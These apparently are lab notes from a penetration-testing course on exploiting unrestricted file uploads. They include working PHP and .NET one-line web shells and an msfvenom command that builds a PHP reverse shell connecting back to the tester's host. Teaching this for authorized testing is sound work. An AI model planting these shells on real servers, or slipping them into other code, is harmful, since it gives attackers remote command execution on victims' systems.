Basic Exploitation

Vulnerability Identification

As an initial test to identify whether we can upload arbitrary PHP files, let's create a basic Hello World script to test whether we can execute PHP code with our uploaded file.

To do so, we will write <?php echo "Hello HTB";?> to test.php, and try uploading it to the web application.

Now, we can click the Download button (in the htb example), and the web application will take us to our uploaded file

Web Shells

We can find many excellent web shells online that provide useful features, like directory traversal or file transfer. One good option for PHP is phpbash, which provides a terminal-like, semi-interactive web shell. Furthermore, SecLists provides a plethora of web shells for different frameworks and languages (found in the /opt/useful/seclists/Web-Shells directory in PwnBox aka the HTB VM)

Writing Custom Web Shell

For example, with PHP web applications, we can use the system() function that executes system commands and prints their output, and pass it the cmd parameter with $_REQUEST['cmd'], as follows:

<?php system($_REQUEST['cmd']); ?>

If we write the above script to shell.php and upload it to our web application, we can execute system commands with the ?cmd= GET parameter (e.g. ?cmd=id)

If we are using this custom web shell in a browser, it may be best to use source-view by clicking [CTRL+U], as the source-view shows the command output as it would be shown in the terminal, without any HTML rendering that may affect how the output is formatted.

Web shells are not exclusive to PHP, and the same applies to other web frameworks, with the only difference being the functions used to execute system commands. For .NET web applications, we can pass the cmd parameter with request('cmd') to the eval() function, and it should also execute the command specified in ?cmd= and print its output, as follows:

<% eval request('cmd') %>

We can find various other web shells online, many of which can be easily memorized for web penetration testing purposes. It must be noted that in certain cases, web shells may not work. This may be due to the web server preventing the use of some functions utilized by the web shell (e.g. system()), or due to a Web Application Firewall, among other reasons. In these cases, we may need to use advanced techniques to bypass these security mitigations, but this is outside the scope of this module.

Reverse Shell

One reliable reverse shell for PHP is the pentestmonkey PHP reverse shell. Furthermore, the same SecLists we mentioned earlier also contains reverse shell scripts for various languages and web frameworks, and we can utilize any of them to receive a reverse shell as well.

Generating Custom Reverse Shell Scripts

Just like web shells, we can also create our own reverse shell scripts. While it is possible to use the same previous system function and pass it a reverse shell command, this may not always be very reliable, as the command may fail for many reasons, just like any other reverse shell command.

This is why it is always better to use core web framework functions to connect to our machine. However, this may not be as easy to memorize as a web shell script. Luckily, tools like msfvenom can generate a reverse shell script in many languages and may even attempt to bypass certain restrictions in place. We can do so as follows for PHP:

msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php

Similarly, we can generate reverse shell scripts for several languages. We can use many reverse shell payloads with the -p flag and specify the output language with the -f flag.

While reverse shells are always preferred over web shells, as they provide the most interactive method for controlling the compromised server, they may not always work, and we may have to rely on web shells instead.

Last updated